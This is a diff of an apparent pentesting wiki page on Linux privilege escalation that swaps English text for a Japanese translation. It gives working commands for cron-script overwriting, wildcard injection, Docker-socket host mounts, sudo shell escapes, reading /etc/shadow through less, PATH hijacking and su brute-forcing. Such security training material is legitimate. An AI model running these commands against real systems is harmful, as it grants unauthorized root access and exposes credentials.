overwrite.sh_\ +その場合、次のようにしてrootシェルを取得できます: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` - ### Cron using a script with a wildcard (Wildcard Injection) -If a script is executed by root has a “**\***” inside a command, you could exploit this to make unexpected things (like privesc). Example: - +もしルートによって実行されるスクリプトがコマンド内に“**\***”を含んでいる場合、これを利用して予期しないこと(例えば、特権昇格)を引き起こすことができます。例: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` +**パスが** _**/some/path/\***_ **のようにワイルドカードの前にある場合、脆弱ではありません(** _**./\***_ **もそうです)。** -**If the wildcard is preceded of a path like** _**/some/path/\***_ **, it's not vulnerable (even** _**./\***_ **is not).** - -Read the following page for more wildcard exploitation tricks: +次のページを読んで、他のワイルドカードの悪用トリックを確認してください: {{#ref}} wildcards-spare-tricks.md {{#endref}} -### Cron script overwriting and symlink - -If you **can modify a cron script** executed by root, you can get a shell very easily: +### Cronスクリプトの上書きとシンボリックリンク +**rootによって実行されるcronスクリプトを変更できる場合、非常に簡単にシェルを取得できます:** ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` - -If the script executed by root uses a **directory where you have full access**, maybe it could be useful to delete that folder and **create a symlink folder to another one** serving a script controlled by you - +もしrootによって実行されるスクリプトが**あなたが完全にアクセスできるディレクトリ**を使用している場合、そのフォルダを削除し、**あなたが制御するスクリプトを提供する別のフォルダへのシンボリックリンクフォルダを作成する**ことが有用かもしれません。 ```bash ln -d -s ``` +### 定期的なcronジョブ -### Frequent cron jobs - -You can monitor the processes to search for processes that are being executed every 1, 2 or 5 minutes. Maybe you can take advantage of it and escalate privileges. - -For example, to **monitor every 0.1s during 1 minute**, **sort by less executed commands** and delete the commands that have been executed the most, you can do: +1分、2分、または5分ごとに実行されているプロセスを検索するためにプロセスを監視できます。これを利用して特権を昇格させることができるかもしれません。 +例えば、**1分間0.1秒ごとに監視**し、**実行回数が少ないコマンドでソート**し、最も実行されたコマンドを削除するには、次のようにします: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` +**あなたはまた** [**pspy**](https://github.com/DominicBreuker/pspy/releases) **を使用できます**(これは開始するすべてのプロセスを監視してリストします)。 -**You can also use** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (this will monitor and list every process that starts). - -### Invisible cron jobs - -It's possible to create a cronjob **putting a carriage return after a comment** (without newline character), and the cron job will work. Example (note the carriage return char): +### 見えないcronジョブ +コメントの後に**キャリッジリターンを入れたcronジョブを作成することが可能です**(改行文字なし)、そしてcronジョブは機能します。例(キャリッジリターン文字に注意): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` +## サービス -## Services +### 書き込み可能な _.service_ ファイル -### Writable _.service_ files +任意の `.service` ファイルに書き込むことができるか確認してください。できる場合は、それを**修正して**、サービスが**開始**、**再起動**、または**停止**されたときに**バックドアを実行**するようにできます(おそらく、マシンが再起動されるまで待つ必要があります)。\ +例えば、.service ファイル内にバックドアを作成し、**`ExecStart=/tmp/script.sh`** とします。 -Check if you can write any `.service` file, if you can, you **could modify it** so it **executes** your **backdoor when** the service is **started**, **restarted** or **stopped** (maybe you will need to wait until the machine is rebooted).\ -For example create your backdoor inside the .service file with **`ExecStart=/tmp/script.sh`** +### 書き込み可能なサービスバイナリ -### Writable service binaries +サービスによって実行されるバイナリに**書き込み権限**がある場合、それらをバックドアに変更できることを念頭に置いてください。そうすれば、サービスが再実行されるとバックドアが実行されます。 -Keep in mind that if you have **write permissions over binaries being executed by services**, you can change them for backdoors so when the services get re-executed the backdoors will be executed. - -### systemd PATH - Relative Paths - -You can see the PATH used by **systemd** with: +### systemd PATH - 相対パス +**systemd** によって使用される PATH は次のコマンドで確認できます: ```bash systemctl show-environment ``` - -If you find that you can **write** in any of the folders of the path you may be able to **escalate privileges**. You need to search for **relative paths being used on service configurations** files like: - +もしパスのフォルダのいずれかに**書き込む**ことができる場合、**特権を昇格**させることができるかもしれません。次のような**サービス設定**ファイルで使用されている**相対パス**を探す必要があります: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` +次に、書き込み可能なsystemd PATHフォルダー内にある**相対パスバイナリ**と**同じ名前の** **実行可能ファイル**を作成し、サービスが脆弱なアクション(**開始**、**停止**、**リロード**)を実行するように求められたときに、あなたの**バックドアが実行されます**(特権のないユーザーは通常サービスを開始/停止できませんが、`sudo -l`を使用できるか確認してください)。 -Then, create an **executable** with the **same name as the relative path binary** inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (**Start**, **Stop**, **Reload**), your **backdoor will be executed** (unprivileged users usually cannot start/stop services but check if you can use `sudo -l`). +**`man systemd.service`でサービスについて詳しく学びましょう。** -**Learn more about services with `man systemd.service`.** +## **タイマー** -## **Timers** - -**Timers** are systemd unit files whose name ends in `**.timer**` that control `**.service**` files or events. **Timers** can be used as an alternative to cron as they have built-in support for calendar time events and monotonic time events and can be run asynchronously. - -You can enumerate all the timers with: +**タイマー**は、`**.service**`ファイルやイベントを制御する`**.timer**`で終わるsystemdユニットファイルです。**タイマー**は、カレンダー時間イベントと単調時間イベントのサポートが組み込まれているため、cronの代替として使用できます。また、非同期で実行できます。 +すべてのタイマーを列挙するには、次のコマンドを使用します: ```bash systemctl list-timers --all ``` - ### Writable timers -If you can modify a timer you can make it execute some existents of systemd.unit (like a `.service` or a `.target`) - +タイマーを変更できる場合、systemd.unitのいくつかのインスタンス(`.service`や`.target`など)を実行させることができます。 ```bash Unit=backdoor.service ``` +ドキュメントでは、Unitについて次のように説明されています: -In the documentation you can read what the Unit is: +> このタイマーが経過したときにアクティブにするユニット。引数はユニット名で、接尾辞は「.timer」ではありません。指定されていない場合、この値はタイマー単位と同じ名前のサービスにデフォルト設定されます(上記参照)。アクティブにされるユニット名とタイマー単位のユニット名は、接尾辞を除いて同一の名前にすることが推奨されます。 -> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. +したがって、この権限を悪用するには、次のことが必要です: -Therefore, to abuse this permission you would need to: +- **書き込み可能なバイナリを実行している**systemdユニット(例えば、`.service`)を見つける +- **相対パスを実行している**systemdユニットを見つけ、**systemd PATH**に対して**書き込み権限**を持つ(その実行可能ファイルを偽装するため) -- Find some systemd unit (like a `.service`) that is **executing a writable binary** -- Find some systemd unit that is **executing a relative path** and you have **writable privileges** over the **systemd PATH** (to impersonate that executable) +**タイマーについて詳しくは `man systemd.timer` を参照してください。** -**Learn more about timers with `man systemd.timer`.** - -### **Enabling Timer** - -To enable a timer you need root privileges and to execute: +### **タイマーの有効化** +タイマーを有効にするには、root権限が必要で、次のコマンドを実行します: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` +**タイマー**は、`/etc/systemd/system/.wants/.timer`にシンボリックリンクを作成することで**有効化**されます。 -Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` +## ソケット -## Sockets +Unixドメインソケット(UDS)は、クライアント-サーバーモデル内で同じまたは異なるマシン間の**プロセス通信**を可能にします。これらは、コンピュータ間通信のために標準のUnixディスクリプタファイルを利用し、`.socket`ファイルを通じて設定されます。 -Unix Domain Sockets (UDS) enable **process communication** on the same or different machines within client-server models. They utilize standard Unix descriptor files for inter-computer communication and are set up through `.socket` files. +ソケットは`.socket`ファイルを使用して構成できます。 -Sockets can be configured using `.socket` files. +**`man systemd.socket`でソケットについてさらに学ぶ。** このファイル内では、いくつかの興味深いパラメータを設定できます: -**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: これらのオプションは異なりますが、**ソケットがリッスンする場所を示すために要約が使用されます**(AF_UNIXソケットファイルのパス、リッスンするIPv4/6および/またはポート番号など)。 +- `Accept`: ブール引数を取ります。**true**の場合、**各接続ごとにサービスインスタンスが生成され**、接続ソケットのみがそれに渡されます。**false**の場合、すべてのリッスンソケット自体が**開始されたサービスユニットに渡され**、すべての接続に対して1つのサービスユニットのみが生成されます。この値は、単一のサービスユニットが無条件にすべての受信トラフィックを処理するデータグラムソケットおよびFIFOでは無視されます。**デフォルトはfalse**です。パフォーマンスの理由から、`Accept=no`に適した方法でのみ新しいデーモンを書くことが推奨されます。 +- `ExecStartPre`, `ExecStartPost`: リッスンする**ソケット**/FIFOが**作成**され、バインドされる前または後に**実行される**1つ以上のコマンドラインを取ります。コマンドラインの最初のトークンは絶対ファイル名でなければならず、その後にプロセスの引数が続きます。 +- `ExecStopPre`, `ExecStopPost`: リッスンする**ソケット**/FIFOが**閉じられ**、削除される前または後に**実行される**追加の**コマンド**です。 +- `Service`: **受信トラフィック**で**アクティブ化**する**サービス**ユニット名を指定します。この設定は、Accept=noのソケットにのみ許可されます。デフォルトでは、ソケットと同じ名前のサービス(サフィックスが置き換えられたもの)になります。ほとんどの場合、このオプションを使用する必要はありません。 -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) -- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. -- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. -- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. +### 書き込み可能な.socketファイル -### Writable .socket files - -If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ +**書き込み可能な**`.socket`ファイルを見つけた場合、`[Socket]`セクションの最初に`ExecStartPre=/home/kali/sys/backdoor`のようなものを**追加**できます。そうすると、ソケットが作成される前にバックドアが実行されます。したがって、**おそらくマシンが再起動されるまで待つ必要があります。**\ &#xNAN;_Note that the system must be using that socket file configuration or the backdoor won't be executed_ -### Writable sockets +### 書き込み可能なソケット -If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. - -### Enumerate Unix Sockets +**書き込み可能なソケット**を**特定した場合**(_今はUnixソケットについて話しており、構成`.socket`ファイルについてではありません_)、そのソケットと**通信することができ**、おそらく脆弱性を悪用することができます。 +### Unixソケットの列挙 ```bash netstat -a -p --unix ``` - -### Raw connection - +### 生の接続 ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -560,93 +473,88 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` - -**Exploitation example:** +**エクスプロイトの例:** {{#ref}} socket-command-injection.md {{#endref}} -### HTTP sockets - -Note that there may be some **sockets listening for HTTP** requests (_I'm not talking about .socket files but the files acting as unix sockets_). You can check this with: +### HTTPソケット +HTTPリクエストをリッスンしている**ソケット**があるかもしれません(_私は.socketファイルではなく、Unixソケットとして機能するファイルについて話しています_)。これを確認するには、次のコマンドを使用できます: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` +もしソケットが**HTTP**リクエストで**応答**する場合、あなたはそれと**通信**でき、場合によっては**いくつかの脆弱性を悪用**できるかもしれません。 -If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. +### 書き込み可能なDockerソケット -### Writable Docker Socket +Dockerソケットは、通常`/var/run/docker.sock`に見られる重要なファイルであり、保護されるべきです。デフォルトでは、`root`ユーザーと`docker`グループのメンバーが書き込み可能です。このソケットへの書き込みアクセスを持つことは、特権昇格につながる可能性があります。これを行う方法と、Docker CLIが利用できない場合の代替手段を以下に示します。 -The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. - -#### **Privilege Escalation with Docker CLI** - -If you have write access to the Docker socket, you can escalate privileges using the following commands: +#### **Docker CLIを使用した特権昇格** +Dockerソケットへの書き込みアクセスがある場合、次のコマンドを使用して特権を昇格させることができます: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` +これらのコマンドを使用すると、ホストのファイルシステムに対してルートレベルのアクセスを持つコンテナを実行できます。 -These commands allow you to run a container with root-level access to the host's file system. +#### **Docker APIを直接使用する** -#### **Using Docker API Directly** +Docker CLIが利用できない場合でも、DockerソケットはDocker APIと`curl`コマンドを使用して操作できます。 -In cases where the Docker CLI isn't available, the Docker socket can still be manipulated using the Docker API and `curl` commands. +1. **Dockerイメージのリスト:** 利用可能なイメージのリストを取得します。 -1. **List Docker Images:** Retrieve the list of available images. +```bash +curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json +``` - ```bash - curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json - ``` +2. **コンテナの作成:** ホストシステムのルートディレクトリをマウントするコンテナを作成するリクエストを送信します。 -2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. +```bash +curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create +``` - ```bash - curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create - ``` +新しく作成したコンテナを起動します: - Start the newly created container: +```bash +curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start +``` - ```bash - curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start - ``` +3. **コンテナに接続:** `socat`を使用してコンテナへの接続を確立し、その中でコマンドを実行できるようにします。 -3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. +```bash +socat - UNIX-CONNECT:/var/run/docker.sock +POST /containers//attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1 +Host: +Connection: Upgrade +Upgrade: tcp +``` - ```bash - socat - UNIX-CONNECT:/var/run/docker.sock - POST /containers//attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1 - Host: - Connection: Upgrade - Upgrade: tcp - ``` +`socat`接続を設定した後、ホストのファイルシステムに対してルートレベルのアクセスを持つコンテナ内で直接コマンドを実行できます。 -After setting up the `socat` connection, you can execute commands directly in the container with root-level access to the host's filesystem. +### その他 -### Others +**`docker`グループの中にいるために、dockerソケットに対する書き込み権限がある場合、** [**特権を昇格させる方法がさらにあります**](interesting-groups-linux-pe/#docker-group)。もし[**docker APIがポートでリスニングしている場合、妥協することも可能です**](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 -Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). - -Check **more ways to break out from docker or abuse it to escalate privileges** in: +**dockerから抜け出す方法やそれを悪用して特権を昇格させる方法については、以下を確認してください:** {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) privilege escalation +## Containerd (ctr) 特権昇格 -If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: +**`ctr`**コマンドを使用できる場合は、**特権を昇格させるために悪用できる可能性があるため、以下のページを読んでください**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** privilege escalation +## **RunC** 特権昇格 -If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: +**`runc`**コマンドを使用できる場合は、**特権を昇格させるために悪用できる可能性があるため、以下のページを読んでください**: {{#ref}} runc-privilege-escalation.md @@ -654,37 +562,34 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus is a sophisticated **inter-Process Communication (IPC) system** that enables applications to efficiently interact and share data. Designed with the modern Linux system in mind, it offers a robust framework for different forms of application communication. +D-Busは、アプリケーションが効率的に相互作用し、データを共有できる高度な**プロセス間通信(IPC)システム**です。現代のLinuxシステムを念頭に設計されており、さまざまな形式のアプリケーション通信のための堅牢なフレームワークを提供します。 -The system is versatile, supporting basic IPC that enhances data exchange between processes, reminiscent of **enhanced UNIX domain sockets**. Moreover, it aids in broadcasting events or signals, fostering seamless integration among system components. For instance, a signal from a Bluetooth daemon about an incoming call can prompt a music player to mute, enhancing user experience. Additionally, D-Bus supports a remote object system, simplifying service requests and method invocations between applications, streamlining processes that were traditionally complex. +このシステムは多用途で、プロセス間のデータ交換を強化する基本的なIPCをサポートし、**強化されたUNIXドメインソケット**を思わせます。さらに、イベントや信号をブロードキャストするのを助け、システムコンポーネント間のシームレスな統合を促進します。たとえば、Bluetoothデーモンからの着信コールに関する信号は、音楽プレーヤーをミュートさせ、ユーザーエクスペリエンスを向上させることができます。加えて、D-Busはリモートオブジェクトシステムをサポートし、アプリケーション間のサービスリクエストやメソッド呼び出しを簡素化し、従来は複雑だったプロセスを効率化します。 -D-Bus operates on an **allow/deny model**, managing message permissions (method calls, signal emissions, etc.) based on the cumulative effect of matching policy rules. These policies specify interactions with the bus, potentially allowing for privilege escalation through the exploitation of these permissions. +D-Busは**許可/拒否モデル**で動作し、メッセージの権限(メソッド呼び出し、信号の送信など)を、ポリシールールの一致の累積効果に基づいて管理します。これらのポリシーはバスとの相互作用を指定し、これらの権限の悪用を通じて特権昇格を許可する可能性があります。 -An example of such a policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` is provided, detailing permissions for the root user to own, send to, and receive messages from `fi.w1.wpa_supplicant1`. - -Policies without a specified user or group apply universally, while "default" context policies apply to all not covered by other specific policies. +`/etc/dbus-1/system.d/wpa_supplicant.conf`にあるそのようなポリシーの例が提供されており、rootユーザーが`fi.w1.wpa_supplicant1`からメッセージを所有、送信、受信するための権限が詳細に記載されています。 +指定されたユーザーやグループのないポリシーは普遍的に適用され、「デフォルト」コンテキストポリシーは他の特定のポリシーにカバーされていないすべてに適用されます。 ```xml - - - - + + + + ``` - -**Learn how to enumerate and exploit a D-Bus communication here:** +**D-Bus通信を列挙し、悪用する方法をここで学びましょう:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}} -## **Network** +## **ネットワーク** -It's always interesting to enumerate the network and figure out the position of the machine. - -### Generic enumeration +ネットワークを列挙し、マシンの位置を特定することは常に興味深いです。 +### 一般的な列挙 ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -707,30 +612,24 @@ cat /etc/networks #Files used by network services lsof -i ``` +### オープンポート -### Open ports - -Always check network services running on the machine that you weren't able to interact with before accessing it: - +アクセスする前に、以前に対話できなかったマシン上で実行されているネットワークサービスを常に確認してください: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` - ### Sniffing -Check if you can sniff traffic. If you can, you could be able to grab some credentials. - +トラフィックをスニッフィングできるか確認してください。できる場合、いくつかの認証情報を取得できるかもしれません。 ``` timeout 1 tcpdump ``` +## ユーザー -## Users - -### Generic Enumeration - -Check **who** you are, which **privileges** do you have, which **users** are in the systems, which ones can **login** and which ones have **root privileges:** +### 一般的な列挙 +**自分**が誰で、どの**権限**を持っているか、システムにどの**ユーザー**がいるか、どのユーザーが**ログイン**でき、どのユーザーが**root権限**を持っているかを確認します。 ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -752,15 +651,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` - ### Big UID -Some Linux versions were affected by a bug that allows users with **UID > INT_MAX** to escalate privileges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +一部のLinuxバージョンは、**UID > INT_MAX**を持つユーザーが特権を昇格させることを可能にするバグの影響を受けました。詳細情報: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) および [here](https://twitter.com/paragonsec/status/1071152249529884674)。\ +**これを悪用する**には: **`systemd-run -t /bin/bash`** ### Groups -Check if you are a **member of some group** that could grant you root privileges: +あなたが**root特権を付与する可能性のあるグループのメンバーであるか**確認してください: {{#ref}} interesting-groups-linux-pe/ @@ -768,51 +666,44 @@ interesting-groups-linux-pe/ ### Clipboard -Check if anything interesting is located inside the clipboard (if possible) - +クリップボード内に興味深いものがあるか確認してください(可能であれば)。 ```bash if [ `which xclip 2>/dev/null` ]; then - echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` - echo "Highlighted text: "`xclip -o 2>/dev/null` - elif [ `which xsel 2>/dev/null` ]; then - echo "Clipboard: "`xsel -ob 2>/dev/null` - echo "Highlighted text: "`xsel -o 2>/dev/null` - else echo "Not found xsel and xclip" - fi +echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` +echo "Highlighted text: "`xclip -o 2>/dev/null` +elif [ `which xsel 2>/dev/null` ]; then +echo "Clipboard: "`xsel -ob 2>/dev/null` +echo "Highlighted text: "`xsel -o 2>/dev/null` +else echo "Not found xsel and xclip" +fi ``` - -### Password Policy - +### パスワードポリシー ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` +### 知っているパスワード -### Known passwords - -If you **know any password** of the environment **try to login as each user** using the password. +環境の**パスワードを知っている場合**は、**各ユーザーとしてログインを試みてください**。 ### Su Brute -If don't mind about doing a lot of noise and `su` and `timeout` binaries are present on the computer, you can try to brute-force user using [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) with `-a` parameter also try to brute-force users. +多くのノイズを出すことを気にしない場合、`su`および`timeout`バイナリがコンピュータに存在するなら、[su-bruteforce](https://github.com/carlospolop/su-bruteforce)を使用してユーザーをブルートフォースすることができます。\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)の`-a`パラメータもユーザーをブルートフォースしようとします。 -## Writable PATH abuses +## 書き込み可能なPATHの悪用 ### $PATH -If you find that you can **write inside some folder of the $PATH** you may be able to escalate privileges by **creating a backdoor inside the writable folder** with the name of some command that is going to be executed by a different user (root ideally) and that is **not loaded from a folder that is located previous** to your writable folder in $PATH. +もし**$PATHのいくつかのフォルダ内に書き込むことができる**ことがわかった場合、**書き込み可能なフォルダ内にバックドアを作成することによって特権を昇格させる**ことができるかもしれません。そのバックドアは、異なるユーザー(理想的にはroot)によって実行されるコマンドの名前であり、$PATH内のあなたの書き込み可能なフォルダよりも前に位置するフォルダから**読み込まれない**ものである必要があります。 -### SUDO and SUID - -You could be allowed to execute some command using sudo or they could have the suid bit. Check it using: +### SUDOとSUID +sudoを使用していくつかのコマンドを実行することが許可されているか、suidビットを持っている可能性があります。それを確認するには、次のコマンドを使用してください: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` - -Some **unexpected commands allow you to read and/or write files or even execute a command.** For example: - +一部の**予期しないコマンドは、ファイルを読み書きしたり、コマンドを実行したりすることを可能にします。** 例えば: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -821,43 +712,33 @@ sudo tar c a.tar -I ./runme.sh a ftp>!/bin/sh less>! ``` - ### NOPASSWD -Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password. - +Sudoの設定により、ユーザーはパスワードを知らなくても他のユーザーの権限でいくつかのコマンドを実行できる場合があります。 ``` $ sudo -l User demo may run the following commands on crashlab: - (root) NOPASSWD: /usr/bin/vim +(root) NOPASSWD: /usr/bin/vim ``` - -In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`. - +この例では、ユーザー `demo` は `root` として `vim` を実行できます。これにより、ルートディレクトリに ssh キーを追加するか、`sh` を呼び出すことでシェルを取得することが簡単になります。 ``` sudo vim -c '!sh' ``` - ### SETENV -This directive allows the user to **set an environment variable** while executing something: - +このディレクティブは、ユーザーが何かを実行している間に**環境変数を設定する**ことを許可します: ```bash $ sudo -l User waldo may run the following commands on admirer: - (ALL) SETENV: /opt/scripts/admin_tasks.sh +(ALL) SETENV: /opt/scripts/admin_tasks.sh ``` - -This example, **based on HTB machine Admirer**, was **vulnerable** to **PYTHONPATH hijacking** to load an arbitrary python library while executing the script as root: - +この例は、**HTBマシンAdmirer**に基づいており、スクリプトをrootとして実行する際に任意のPythonライブラリを読み込むための**PYTHONPATHハイジャック**に**脆弱**でした: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` +### Sudo実行バイパスパス -### Sudo execution bypassing paths - -**Jump** to read other files or use **symlinks**. For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ - +**ジャンプ**して他のファイルを読むか、**シンボリックリンク**を使用します。例えば、sudoersファイルでは: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -867,89 +748,73 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` - -If a **wildcard** is used (\*), it is even easier: - +ワイルドカード(*)が使用されると、さらに簡単になります: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` +**対策**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -**Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) - -### Sudo command/SUID binary without command path - -If the **sudo permission** is given to a single command **without specifying the path**: _hacker10 ALL= (root) less_ you can exploit it by changing the PATH variable +### コマンドパスなしのSudoコマンド/SUIDバイナリ +**sudo権限**が単一のコマンドに**パスを指定せずに**与えられている場合: _hacker10 ALL= (root) less_、PATH変数を変更することでこれを悪用できます。 ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` +この技術は、**suid** バイナリが **パスを指定せずに別のコマンドを実行する場合にも使用できます(常に** _**strings**_ **で奇妙な SUID バイナリの内容を確認してください)**。 -This technique can also be used if a **suid** binary **executes another command without specifying the path to it (always check with** _**strings**_ **the content of a weird SUID binary)**. +[実行するペイロードの例。](payloads-to-execute.md) -[Payload examples to execute.](payloads-to-execute.md) +### コマンドパスを持つ SUID バイナリ -### SUID binary with command path - -If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling. - -For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: +もし **suid** バイナリが **パスを指定して別のコマンドを実行する場合**、その場合は、suid ファイルが呼び出しているコマンドと同名の **関数をエクスポート** しようとすることができます。 +例えば、suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出す場合、関数を作成してエクスポートする必要があります: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` - -Then, when you call the suid binary, this function will be executed +そのため、suidバイナリを呼び出すと、この関数が実行されます。 ### LD_PRELOAD & **LD_LIBRARY_PATH** -The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. +**LD_PRELOAD** 